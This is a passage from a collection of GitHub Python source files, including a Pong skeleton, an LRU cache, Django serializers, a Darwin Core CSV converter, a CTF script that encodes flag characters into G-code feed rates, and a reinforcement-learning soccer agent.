obj_stock.insertUnits(dic)\n                        elif (k=='STOCKGROUP'):\n                            obj_stock = self.env['stock']\n                            obj_stock.insertStockGroups(prodCatObj, dic)\n                        elif (k=='STOCKITEM'):\n                            obj_stock = self.env['stock']\n                            obj_stock.insertStockItems( prodObj, uomObj, prodCatObj, dic,com)\n#                         elif (k=='CURRENCY'):\n#                             obj_stock = stock.stock()\n#                             obj_stock.insertCurrencies(cr, uid, currencyObj, dic, com)\n                        elif (k=='GODOWN'):\n                            obj_stock = self.env['stock']\n                            obj_stock.insertGodowns(godownObj, dic,com)\n                        elif (k=='COSTCENTRE'):\n                            obj_employee = employee.employee()\n                            obj_employee.insertEmployees(cr, uid, empObj, dic, com)\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:    \n\n","repo_name":"piyushpandey16444/OpenErp-Odoo","sub_path":"odoo/addons/tally_integration/wizard/migrator.py","file_name":"migrator.py","file_ext":"py","file_size_in_byte":6257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37941794438","text":"# Import required modules\r\nimport pygame\r\n\r\npygame.init()\r\n\r\n# Constants\r\nWIN_WIDTH, WIN_HEIGHT = 1280, 720\r\n\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n\r\n# Game clock\r\nFPS = 60\r\nclock = pygame.time.Clock()\r\n\r\n# Load images\r\ngame_icon = pygame.image.load('Assets/game icon.png')\r\n\r\n# Set-up window\r\nWIN = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))\r\npygame.display.set_caption('Pong!')\r\npygame.display.set_icon(game_icon)\r\n\r\n# Main function\r\ndef main():\r\n\r\n\trun = True\r\n\t# Main game loop\r\n\twhile run:\r\n\t\tclock.tick(FPS)\r\n\t\t# Check for events in the game loop\r\n\t\tfor event in pygame.event.get():\r\n\t\t\t# Break out of the loop if the exit window button is pressed\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\trun = False \r\n\r\nmain()\r\n\r\npygame.quit()","repo_name":"salahqadri/Pong-1","sub_path":"Pong-1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41800056058","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\n\r\nif len(sys.argv) != 2:\r\n    print(\"Help: {} <filename>\".format(sys.argv[0]))\r\n    sys.exit(0)\r\n\r\nINSTRUCTIONS = {\r\n    \"inp\": (lambda a, s: s.inputs.pop()),\r\n    \"add\": (lambda a, s: s.vars[a[0]] + s.vars[a[1]]),\r\n    \"mul\": (lambda a, s: s.vars[a[0]] * s.vars[a[1]]),\r\n    \"div\": (lambda a, s: int(s.vars[a[0]] / s.vars[a[1]])),\r\n    \"mod\": (lambda a, s: s.vars[a[0]] % s.vars[a[1]]),\r\n    \"eql\": (lambda a, s: 1 if s.vars[a[0]] == s.vars[a[1]] else 0),\r\n}\r\n\r\nclass ALU:\r\n    def __init__(self, inputs):\r\n        self.vars = {\"w\": 0, \"x\": 0, \"y\": 0, \"z\": 0, \"num\": 0}\r\n        self.inputs = inputs\r\n    def input_contains(self, contain):\r\n        return contain in self.inputs\r\n    def process(self, instruction_tokens):\r\n        if len(instruction_tokens)==3 and (instruction_tokens[2][0].isnumeric() or instruction_tokens[2][0]==\"-\"):\r\n            self.vars[\"num\"] = int(instruction_tokens[2])\r\n            instruction_tokens[2] = \"num\"\r\n        #print(instruction_tokens, self.vars)\r\n        self.vars[instruction_tokens[1]] = INSTRUCTIONS[instruction_tokens[0]](instruction_tokens[1:], alu)\r\n\r\ninstructions = []\r\nwith open(sys.argv[1]) as file:\r\n    for line in file:\r\n        instructions.append(line.rstrip().split(\" \"))\r\nmodel = 99999999999999\r\nwhile True:\r\n    #print(\"trying {}\".format(model))\r\n    alu = ALU([int(x) for x in str(model)])\r\n    if not alu.input_contains(0):\r\n        for instruction in instructions:\r\n            alu.process(instruction.copy())\r\n        if alu.vars[\"z\"] == 0:\r\n            break\r\n    model-=1\r\nprint(\"Model number {} is valid\".format(model))\r\n","repo_name":"robhansen/advent2021","sub_path":"puzzle/day24.py","file_name":"day24.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22348415862","text":"class Node:\r\n\r\n    def __init__(self, k, v):\r\n        self.key = k\r\n        self.val = v\r\n        self.prev = None\r\n        self.next = None\r\n\r\nclass LRU_Cache(object):\r\n\r\n    def __init__(self, capacity):\r\n        self.capacity = capacity\r\n        self.storage = {}\r\n        self.head = Node(0, 0)\r\n        self.tail = Node(0, 0)\r\n        self.head.next = self.tail\r\n        self.tail.prev = self.head\r\n\r\n    def get(self, key):\r\n        if key in self.storage:\r\n            n = self.storage[key]\r\n            self._remove(n)\r\n            self._add(n)\r\n            return n.val\r\n        return -1\r\n\r\n    def set(self, key, value):\r\n        if key in self.storage:\r\n            self._remove(self.storage[key])   # Remove the Node indexed by key from the double linked list\r\n        n = Node(key, value)\r\n        self._add(n)                          # Add the new Node indexed by key into the tail of the double linked list\r\n        self.storage[key] = n\r\n        if len(self.storage) > self.capacity:\r\n            n = self.head.next\r\n            self._remove(n)                   # Remove the first item in the double linked list\r\n            del self.storage[n.key]\r\n\r\n    def _remove(self, node):\r\n        p = node.prev\r\n        n = node.next\r\n        p.next = n\r\n        n.prev = p\r\n\r\n    def _add(self, node):\r\n        p = self.tail.prev\r\n        p.next = node\r\n        self.tail.prev = node\r\n        node.prev = p\r\n        node.next = self.tail\r\n\r\n\r\n# Test code below\r\nour_cache = LRU_Cache(5)\r\n\r\nour_cache.set(1, 1);\r\nour_cache.set(2, 2);\r\nour_cache.set(3, 3);\r\nour_cache.set(4, 4);\r\n\r\n\r\nprint(our_cache.get(1))       # returns 1\r\nprint(our_cache.get(2))       # returns 2\r\nprint(our_cache.get(9))      # returns -1 because 9 is not present in the cache\r\n\r\nprint(our_cache.set(5, 5))\r\nprint(our_cache.set(6, 6))\r\n\r\nprint(our_cache.get(3))      # returns -1 because the cache reached it's capacity and 3 was the least recently used entry\r\n","repo_name":"stoneboyindc/udacity","sub_path":"P1/LRUCache.py","file_name":"LRUCache.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38731193650","text":"import matplotlib.pyplot as plt\nimport math\nimport matplotlib.patches as mpatches  \ndef main():\n    \n    \n    acc=[]\n    loss=[]\n    val_loss=[]\n    val_acc=[]\n    for i in range(2,9):\n        num=pow(2,i)\n        arr=[]\n        count=0\n        with open('output'+str(num)+'.txt','r') as f:\n            for line in f:\n                count+=1;\n                if count>=8 and (count-8)%3==0:\n       \n                    arr.append(line.strip())\n        f.close()\n        for i in range(20):\n            n=arr[i].split('-')\n            print(n[2])\n            m=n[2].split(' ')\n            loss.append(m[2])\n            m=n[3].split(' ')\n            acc.append(m[2])\n            m=n[4].split(' ')\n            val_loss.append(m[2])\n            m=n[5].split(' ')\n            val_acc.append(m[2])\n    plt.subplot(211)  \n    plt.plot(acc)  \n    plt.plot(val_acc)  \n    plt.title('model accuracy')  \n    plt.ylabel('accuracy')  \n    plt.xlabel('epoch')  \n    plt.legend(['train', 'test'], loc='upper left')  \n   \n    # summarize history for loss  \n   \n    plt.subplot(212)  \n    plt.plot(loss)  \n    plt.plot(val_loss)  \n    plt.title('model loss')  \n    plt.ylabel('loss')  \n    plt.xlabel('epoch')  \n    plt.legend(['train', 'test'], loc='upper left')  \n    plt.savefig(\"plot.png\")\n\n        \n    \nmain()\n","repo_name":"NivedithaSwaminathan/Progressive-Training-of-a-Convolutional-Neural-Network","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43159076337","text":"while True:\r\n    inp = input().split()\r\n    if inp[0] == \"0\":\r\n        break\r\n    q = int(inp[0])\r\n    d = int(inp[1])\r\n    p = int(inp[2])\r\n    page = int((p*d*q)/(p-q))\r\n    if page > 1:\r\n        print(f\"{page} paginas\")\r\n    else:\r\n        print(f\"{page} pagina\")","repo_name":"ShawonBarman/URI-Online-Judge-Ad-Hoc-level-problem-solution-in-python","sub_path":"1542.py","file_name":"1542.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21623436704","text":"from rest_framework import fields, serializers\n\nfrom products.models import Basket, Product, ProductCategory\n\n\nclass ProductSerializer(serializers.ModelSerializer):\n    category = serializers.SlugRelatedField(slug_field='name', queryset=ProductCategory.objects.all())\n\n    class Meta:\n        model = Product\n        fields = ('id', 'name', 'description', 'price', 'quantity', 'image', 'category')\n\n\nclass BasketSerializer(serializers.ModelSerializer):\n    product = ProductSerializer()\n    sum = fields.FloatField(required=False)\n    total_sum = fields.SerializerMethodField()\n\n    class Meta:\n        model = Basket\n        fields = ('id', 'product', 'quantity', 'sum', 'total_sum', 'created_timestamp')\n        read_only_field = ('created_timestamp',)\n\n    @staticmethod\n    def get_total_sum(obj: Basket) -> float:\n        return Basket.objects.filter(user_id=obj.user.id).total_sum()\n","repo_name":"Foxitch/Django-Online-Store","sub_path":"products/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29540620657","text":"import numpy as np\nimport pandas as pd\nimport os, sys\n\nfrom sklearn.cross_validation import StratifiedKFold, train_test_split\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_absolute_error\n\nimport xgboost as xgb\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nbasepath = os.path.expanduser('~/Desktop/src/AllState_Claims_Severity/')\nsys.path.append(os.path.join(basepath, 'src'))\n\nnp.random.seed(2016)\n\nfrom data import *\nfrom utils import *\n\n# load files\ntrain      = pd.read_csv(os.path.join(basepath, 'data/raw/train.csv'))\ntest       = pd.read_csv(os.path.join(basepath, 'data/raw/test.csv'))\nsample_sub = pd.read_csv(os.path.join(basepath, 'data/raw/sample_submission.csv'))\n\n# create an indicator for somewhat precarious values for loss. ( only to reduce the number of training examples. )\ntrain['outlier_flag'] = train.loss.map(lambda x: int(x < 4e3))\n\n# encode categorical variables\ntrain, test = encode_categorical_features(train, test)\n\n# get stratified sample\nitrain, itest = get_stratified_sample(train.outlier_flag)\n\n# subsample of data to work with\ntrain_sub = train.iloc[itrain]\n\n# target variable\ny = np.log(train.loss)\n\ndef forward_feature_selection(df):\n    columns = df.columns\n    \n    # rearrange columns in such a way that target variables ( loss, outlier_flag ) is\n    # followed by continuous and categorical variables\n    \n    cont_columns = [col for col in columns if 'cont' in col]\n    cat_columns  = [col for col in columns if 'cat' in col]\n    \n    df = df[list(columns[-2:]) + cont_columns + cat_columns]\n    \n    y              = np.log(df.loss)\n    outlier_flag   = df.outlier_flag\n    \n    selected_features = []\n    features_to_test  = df.columns[2:]\n    \n    n_fold = 5\n    cv     = StratifiedKFold(outlier_flag, n_folds=n_fold, shuffle=True, random_state=23232)\n    \n    mae_cv_old      = 5000\n    is_improving    = True\n    \n    while is_improving:\n        mae_cvs = []\n        \n        for feature in features_to_test:\n            print('{}'.format(selected_features + [feature]))\n            \n            X = df[selected_features + [feature]]\n            \n            mae_cv = 0\n            \n            for i, (i_trn, i_val) in enumerate(cv, start=1):\n                est = xgb.XGBRegressor(seed=121212)\n                \n                est.fit(X.values[i_trn], y.values[i_trn])\n                yhat = np.exp(est.predict(X.values[i_val]))\n\n                mae = mean_absolute_error(np.exp(y.values[i_val]), yhat)\n                mae_cv += mae / n_fold\n\n            print('MAE CV: {}'.format(mae_cv))\n            mae_cvs.append(mae_cv)\n        \n        mae_cv_new = min(mae_cvs)\n\n        if mae_cv_new < mae_cv_old:\n            mae_cv_old = mae_cv_new\n            feature = list(features_to_test).pop(mae_cvs.index(mae_cv_new))\n            selected_features.append(feature)\n            print('selected features: {}'.format(selected_features))\n            \n            with open(os.path.join(basepath, 'data/processed/features_xgboost/selected_features.txt'), 'w') as f:\n                f.write('{}\\n'.format('\\n'.join(selected_features)))\n                f.close()\n        else:\n            is_improving = False\n            print('final selected features: {}'.format(selected_features))\n    \n    \n    print('saving selected feature names as a file')\n    with open(os.path.join(basepath, 'data/processed/features_xgboost/selected_features.txt'), 'w') as f:\n        f.write('{}\\n'.format('\\n'.join(selected_features)))\n        f.close()\n\nforward_feature_selection(train)\n\nselected_features = [\n                        'cat80',\n                        'cat101',\n                        'cat100',\n                        'cat57',\n                        'cat114',\n                        'cat79',\n                        'cat44',\n                        'cat26',\n                        'cat94',\n                        'cat38',\n                        'cat32',\n                        'cat35',\n                        'cat67',\n                        'cat59'\n                   ]\n\nX = train[selected_features]\n\nitrain, itest = train_test_split(range(len(X)), stratify=train.outlier_flag, test_size=0.2, random_state=11232)\n\nX_train = X.iloc[itrain]\nX_test  = X.iloc[itest]\n\ny_train = y.iloc[itrain]\ny_test  = y.iloc[itest]\n\nclf = RandomForestRegressor(n_estimators=100, max_depth=13, n_jobs=-1, random_state=12121)\nclf.fit(X_train, y_train)\n\ny_hat = np.exp(clf.predict(X_test))\nprint('MAE on unseen examples ', mean_absolute_error(np.exp(y_test), y_hat))\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Experiment - 2.py","file_name":"Experiment - 2.py","file_ext":"py","file_size_in_byte":4534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20544036615","text":"#\n# This script is used to read a gcode file and parse for F4800.000 lines and replace the \n# last three chars with a decimal convertion of each flag.\n#\n# The GCODE must have F4800.000 in the code to work.\n#\n# I.E. A == 065 and would replace F4800.000 with F4800.065\n\nimport sys, argparse, string\n\n# Arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-fn\", \"--filename\", action='store', dest='filename', help=\"Please enter the filename you want read.\", required=True)\nparser.add_argument(\"-fl\",\"--flag\", action='store', dest='flag',help=\"Please enter the flag you want to use.\", required=True)\nargs = parser.parse_args()\n\n# Variables\ncount = 0\n\n# The Code Section\nwhile count < len(args.flag):\n    for i in args.flag:\n        dec_Char = ord(i)\n        s = open(args.filename).read()\n        if len(str(dec_Char)) < 3:\n            dec_Char = '%03d' % dec_Char\n            s = s.replace('F1350.000', 'F1350.'+str(dec_Char), 1)\n            f = open(args.filename, 'w')\n            f.write(s)\n            f.close()\n            count += 1\n\n        else:\n            s = s.replace('F1350.000', 'F1350.'+str(dec_Char), 1)\n            f = open(args.filename, 'w')\n            f.write(s)\n            f.close()\n            count += 1","repo_name":"incidrthreat/HFCTF_Challs","sub_path":"2019/FunkyFile/gcode.py","file_name":"gcode.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72588556910","text":"from abc import abstractmethod\nfrom math import atan2, sqrt, pi, cos, sin\nfrom random import Random\nfrom typing import NamedTuple, List\n\nimport numpy as np\nimport torch\nfrom torch import nn\n\nfrom rlsandbox.base import Agent\nfrom rlsandbox.math import trunc_angle, unit_tanh\nfrom rlsandbox.soccer.env import SoccerAction\nfrom rlsandbox.team_soccer.env import AgentId, TeamSoccerState, TeamSoccerAgent as EnvTeamSoccerAgent, TeamId\nfrom rlsandbox.types import Location2D\n\n\nclass Observation(NamedTuple):\n    ball_position: np.array\n    ball_speed: float\n    ball_speed_angle: float\n    team_left_goal_post_position: np.array\n    team_right_goal_post_position: np.array\n    opponent_left_goal_post_position: np.array\n    opponent_right_goal_post_position: np.array\n    other_agent_positions: List[np.array]\n\n    def to_tensor(self) -> torch.Tensor:\n        array = np.concatenate([\n            self.ball_position,\n            # [self.ball_speed, self.ball_speed_angle],\n            self.team_left_goal_post_position,\n            self.team_right_goal_post_position,\n            self.opponent_left_goal_post_position,\n            self.opponent_right_goal_post_position,\n            *self.other_agent_positions,\n        ])\n\n        return torch.tensor(array, dtype=torch.float32)\n\n\nclass BaseTeamSoccerAgent(Agent):\n    rng: Random\n\n    def __init__(self, rng: Random = None):\n        self.rng = rng or Random()\n\n    @abstractmethod\n    def get_action(self, state: TeamSoccerState, agent_id: AgentId) -> SoccerAction:\n        ...\n\n    def _build_observation(self, state: TeamSoccerState, agent_id: AgentId) -> 'Observation':\n        agent = state.agent_with_id(agent_id)\n\n        ball = state.ball\n        ball_position = self._get_angle_and_dist(agent, ball.location)\n        ball_speed = sqrt(ball.velocity.dx ** 2 + ball.velocity.dy ** 2)\n        ball_speed = 2 ** (-ball_speed)\n        ball_speed_angle = atan2(ball.velocity.dy, ball.velocity.dx)\n        ball_speed_angle -= agent.heading\n\n        if agent.id.team == TeamId.LEFT:\n            team_goal = state.left_goal\n            opponent_goal = state.right_goal\n        else:\n            team_goal = state.right_goal\n            opponent_goal = state.left_goal\n\n        other_agents = [it for it in state.agents if it.id != agent_id]\n        teammates = [it for it in other_agents if it.id.team == agent.id.team]\n        opponents = [it for it in other_agents if it.id.team != agent.id.team]\n        other_agents = [*teammates, *opponents]\n        other_agent_positions = []\n        for other_agent in other_agents:\n            other_agent_positions.append(\n                self._get_angle_and_dist(agent, other_agent.location)\n            )\n\n        return Observation(\n            ball_position=ball_position,\n            ball_speed=ball_speed,\n            ball_speed_angle=ball_speed_angle / pi,\n            team_left_goal_post_position=self._get_angle_and_dist(agent, team_goal.left_post_location),\n            team_right_goal_post_position=self._get_angle_and_dist(agent, team_goal.right_post_location),\n            opponent_left_goal_post_position=self._get_angle_and_dist(agent, opponent_goal.left_post_location),\n            opponent_right_goal_post_position=self._get_angle_and_dist(agent, opponent_goal.right_post_location),\n            other_agent_positions=other_agent_positions,\n        )\n\n    def _get_angle_and_dist(self, agent: EnvTeamSoccerAgent, location: Location2D) -> np.array:\n        dx = location.x - agent.location.x\n        dy = location.y - agent.location.y\n\n        angle = atan2(dy, dx) - agent.heading\n        angle = trunc_angle(angle)\n\n        dist = sqrt(dx ** 2 + dy ** 2)\n\n        return np.array((\n            cos(angle),\n            sin(angle),\n            self._dist_to_closeness(dist),\n        ))\n\n    @staticmethod\n    def _dist_to_closeness(dist: float) -> float:\n        assert dist >= 0\n        return 2 ** (-dist)\n\n\nclass SimpleTeamSoccerAgent(BaseTeamSoccerAgent):\n    def get_action(self, state: TeamSoccerState, agent_id: AgentId) -> SoccerAction:\n        obs = self._build_observation(state, agent_id)\n\n        ball_angle_left = obs.ball_position[1]\n\n        return SoccerAction(\n            move_dist=self.rng.random(),\n            turn_angle=0.2 * ball_angle_left,\n            kick_strength=self.rng.random(),\n        )\n\n\nclass ANNTeamSoccerAgent(BaseTeamSoccerAgent):\n    model: 'SoccerAgentModel'\n\n    def __init__(self, obs_dim: int = -1, model: 'SoccerAgentModel' = None, **kwargs):\n        super().__init__(**kwargs)\n        self.model = model or SoccerAgentModel(obs_dim)\n\n    def get_action(self, state: TeamSoccerState, agent_id: AgentId) -> SoccerAction:\n        obs = self._build_observation(state, agent_id)\n\n        obs = obs.to_tensor()\n        obs = obs.unsqueeze(0)\n\n        self.model.eval()\n        action: torch.Tensor = self.model(obs)\n        action = action.detach().numpy()\n\n        move_dist, turn_angle, kick_strength = action[0, :]\n\n        return SoccerAction(\n            move_dist=unit_tanh(move_dist),\n            # move_dist=min(max(0, move_dist), 1),\n            turn_angle=pi / 4 * np.tanh(turn_angle),\n            # turn_angle=pi / 4 * min(max(-1, turn_angle), 1),\n            kick_strength=unit_tanh(kick_strength),\n            # kick_strength=min(max(0., kick_strength), 1.),\n        )\n\n\nclass SoccerAgentModel(nn.Module):\n    obs_dim: int\n    out_dim: int\n\n    def __init__(self, obs_dim: int, out_dim: int = 3):\n        super().__init__()\n\n        self.obs_dim = obs_dim\n        self.out_dim = out_dim\n\n        self.layers = nn.Sequential(\n            nn.Linear(obs_dim, 7),\n            # nn.ReLU(),\n            # nn.LeakyReLU(),\n            nn.Tanh(),\n            # nn.Sigmoid(),\n            nn.Linear(7, 7),\n            # nn.ReLU(),\n            # nn.LeakyReLU(),\n            # nn.Sigmoid(),\n            nn.Tanh(),\n            nn.Linear(7, out_dim),\n        )\n\n        self.apply(self._init_weights)\n\n    def _init_weights(self, module):\n        if isinstance(module, nn.Linear):\n            module.weight.data.zero_()\n            if module.bias is not None:\n                module.bias.data.zero_()\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        return self.layers(x)\n","repo_name":"austin-bowen/rl-sandbox","sub_path":"rlsandbox/team_soccer/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38629199916","text":"from FrictionlessDarwinCore import DwCVocabulary\nimport xml.etree.ElementTree as ET\nimport csv\nimport io\n\nclass DwCResource:\n    voc = DwCVocabulary()\n    ns = {'dwc': 'http://rs.tdwg.org/dwc/text/'}\n\n    def __init__(self, meta: ET, data: str):\n        self.meta = meta\n        self.data = data.decode('utf-8')\n        self.core = meta.tag.endswith('core')\n        self.valid = True\n        self.rows= []\n\n    def _get_fields(self):\n        fields={}\n        if self.meta is None:\n            return\n        index_id='0'\n\n        if self.core:\n            index = self.meta.find('dwc:id', DwCResource.ns)\n        else:\n            index = self.meta.find('dwc:coreid', DwCResource.ns)\n        if index is not None:\n            index_id = index.get('index')\n\n        need_additional_id_field = True\n        for f in self.meta.findall('dwc:field', DwCResource.ns):\n            if f.get('index') == index_id:\n                need_additional_id_field = False\n\n        if need_additional_id_field:\n            fields['http://rs.tdwg.org/dwc/text/id'] = ''\n\n        for f in self.meta.findall('dwc:field', DwCResource.ns):\n            if f.get('default') is None:\n                fields[f.get('term')] = ''\n            else:\n                fields[f.get('term')] = f.get('default')\n        return fields\n\n    def convert(self):\n        if self.meta is None:\n            return\n        self.rows= []\n#        print(ET.tostring(self.meta))\n        fields = self._get_fields()\n        datareader = csv.reader(self.data.split(self._delimiter('linesTerminatedBy')),\n            delimiter=self._delimiter('fieldsTerminatedBy'))\n        header = []\n        for f in fields:\n            header.append(f.rsplit('/', 1)[1])\n        self._append(header)\n        skip = True\n        for inrow in datareader:\n            if skip or len(inrow) == 0:\n                skip = False\n            else:\n                outrow=[]\n                index=0\n                for fname, fvalue in fields.items():\n                    if fvalue == '':\n                        outrow.append(inrow[index])\n                        index=index+1\n                    else:\n                        outrow.append(fvalue)\n                self._append(outrow)\n        self.valid = True\n        return self.as_csv()\n\n    def as_csv(self):\n        output = io.StringIO()\n        quotechar=self._delimiter('fieldsEnclosedBy')\n        if quotechar == '':\n            quoting = csv.QUOTE_NONE\n        else:\n            quoting = csv.QUOTE_MINIMAL\n        datawriter = csv.writer(output, lineterminator= self._delimiter('linesTerminatedBy'),\n                                delimiter = self._delimiter('fieldsTerminatedBy'),\n                                quotechar=quotechar,\n                                quoting=quoting)\n        for r in self.rows:\n            datawriter.writerow(r)\n        return output.getvalue()\n\n    def _delimiter(self, delimiter_string):\n        switcher = {\n            \"\\\\n\": '\\n',\n            \"\\\\r\": '\\r',\n            \"\\\\r\\\\n\": '\\r\\n',\n            \"\\\\t\": '\\t',\n        }\n        ds = self.meta.get(delimiter_string)\n        if ds is not None:\n            return switcher.get(ds, ds)\n        else:\n            if delimiter_string == 'fieldsEnclosedBy':\n                return '\"'\n            else:\n                return ''\n\n    def _append(self, row):\n        self.rows.append(row)\n\n","repo_name":"frictionlessdata/frictionless-darwin-core","sub_path":"FrictionlessDarwinCore/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"38"}
{"seq_id":"34757719632","text":"\"\"\"\nclass Solution:\n    def threeSumClosest(self, nums: List[int], target: int) -> int:\n        closest = nums[0] + nums[1] + nums[2]\n        min_diff = abs(target - closest)\n        for i in range(len(nums)):\n            for j in range(i+1, len(nums)):\n                for k in range(j+1, len(nums)):\n                    this = nums[i] + nums[j] + nums[k]\n                    if abs(target - this) < min_diff:\n                        min_diff = abs(target - this)\n                        closest = this\n        return closest                \n\"\"\"\n\nclass Solution:\n    def threeSumClosest(self, nums: List[int], target: int) -> int:\n        nums.sort()\n        closest = nums[0] + nums[1] + nums[2]\n        for i in range(len(nums)-2):\n            left, right = i+1, len(nums)-1\n            while left < right:\n                this = nums[i] + nums[left] + nums[right]\n                if this == target:\n                    return this\n                if abs(target - this) < abs(target - closest):\n                    closest = this\n                    \n                if this < target:\n                    left += 1\n                else:\n                    right -= 1\n        return closest            ","repo_name":"hrand1005/leetcode","sub_path":"0016-3sum-closest/0016-3sum-closest.py","file_name":"0016-3sum-closest.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"41007765073","text":"def display_topics(model, features, top_words=5):\n    for topic, word_vector in enumerate(model.components_):\n\n        #calculate the sum of the vector so we can later get the % contribution of individual words \n        total = word_vector.sum()\n\n        # invert sort order (put index of largest value first)\n        largest = word_vector.argsort()[::-1] \n\n        # print header \n        print(\"\\nTopic %02d\" % topic)\n\n        # loop through top words (# specified number of {})\n        for i in range(0, top_words):\n            print(\"  %s (%2.2f)\" % (features[largest[i]],\n                  word_vector[largest[i]]*100.0/total)) # print contribution/total as %","repo_name":"Jspano95/un_speeches_nlp_analysis","sub_path":"display_topics_func.py","file_name":"display_topics_func.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16540783995","text":"#Import needed tools\nfrom textblob import TextBlob\n\n#Create class for sentiment analysis\nclass SentimentAnalyzer:\n\n    #Create list for polarity of the comments\n    def __init__(self):\n        self.polarities = []\n\n    #Get polarity of comments:\n    def get_polarity(self,data):\n        polarities = self.polarities\n        for element in data.Comment.values:\n\n            try:\n                rating = TextBlob(element)\n                polarities.append(rating.sentiment.polarity)\n\n            except:\n                polarities.append(0)\n\n        #Add the polarities to the data\n        data['polarity'] = polarities\n\n        #Convert the polarities to the categorical values\n        data['polarity'][data.polarity > 0] = 1\n        data['polarity'][data.polarity == 0] = 0\n        data['polarity'][data.polarity < 0] = -1\n\n        return data\n","repo_name":"VerbaIntelligunturNihil/Youtube-comment-sentiment-analysis","sub_path":"SentimentEngine.py","file_name":"SentimentEngine.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7567756464","text":"\nfrom circuit import OPERATIONS, Node, LeafNode, treequals\n\nclass BruteForceInst:\n\n    def __init__(self, n_set):\n        \"\"\"\n        :param n_set: Set of constant-valued leaf-nodes to use (ex. [1, 2, 3])\n        \"\"\"\n        self.depth = 0 # current depth we've searched to\n        self.T = [LeafNode(val=None)] # list of all trees seen\n        for n in n_set:\n            self.T.append(LeafNode(val=n))\n        self.prev_start = 0 # where to start searching on the next depth increase\n    \n    def grow_to(self, max_depth, perm_lock=False):\n        \"\"\"\n        Find all trees up to depth max_depth and store them in self.T\n        :param max_depth: Maximum tree depth to search to\n        :param perm_lock: Abuse associative property to weed out repeats\n        :return The number of new trees found\n        \"\"\"\n\n        # already there\n        if self.depth >= max_depth:\n            return 0\n        \n        growth = 0\n        # grow to new depth\n        while self.depth < max_depth:\n\n            # hold new trees\n            new_T = []\n\n            # new loop through possible operations\n            for op in [OPERATIONS.ADD, OPERATIONS.MULT]:\n                seen_perms = set()\n\n                # loop through possible first operands\n                for t in range(self.prev_start, len(self.T)):\n                    # loop through possible second operands\n                    for tau in range(t+1):\n                        new_node = Node(op, self.T[t], self.T[tau])\n\n                        # check if this permutation has been seen\n                        if perm_lock:\n                            perm = frozenset([pair for pair in new_node.assocs.items()])\n                            if perm not in seen_perms:\n                                seen_perms.add(perm)\n                                new_T.append(new_node)\n                        # always keep new tree\n                        else:\n                            new_T.append(new_node)\n\n            # we have already looped through these trees, don't need to next time\n            self.prev_start = len(self.T)\n\n            # save new trees\n            self.T += new_T\n            growth += len(new_T)\n\n            # iterate to next depth\n            self.depth += 1\n\n        # return total found\n        return growth\n\ndef main():\n    # init\n    inst = BruteForceInst([i for i in range(1, 2)])\n\n    # define polynomial we are looking for\n    func = lambda x: x**3 + x**2 + 2*x + 1\n\n    # grow to new depth\n    for i in range(1, 4):\n        g = inst.grow_to(i, perm_lock=False)\n        print(i, len(inst.T))\n    print(\"All trees found.\")\n\n    # search found trees for accuracy and cost\n    best = None\n    best_list = []\n    for i in range(len(inst.T)):\n        tree = inst.T[i]\n        good = True\n        for x in range(6):\n            if func(x) != tree.run(x):\n                good = False\n                break\n        if good:\n            if False:\n                # log all trees that are accurate\n                best_list.append(tree)\n            else:\n                # log only the best (or tied) trees\n                s = tree.size()\n                if best == None or s < best:\n                    best = s\n                    best_list = [tree]\n                elif s == best:\n                    best_list.append(tree)\n    \n    # show found solutions\n    for tree in best_list:\n        tree.show()\n    print(\"Tied:\", len(best_list))\n\nif __name__ == '__main__':\n    main()","repo_name":"aklein4/ArithSearch","sub_path":"py/brute_force.py","file_name":"brute_force.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
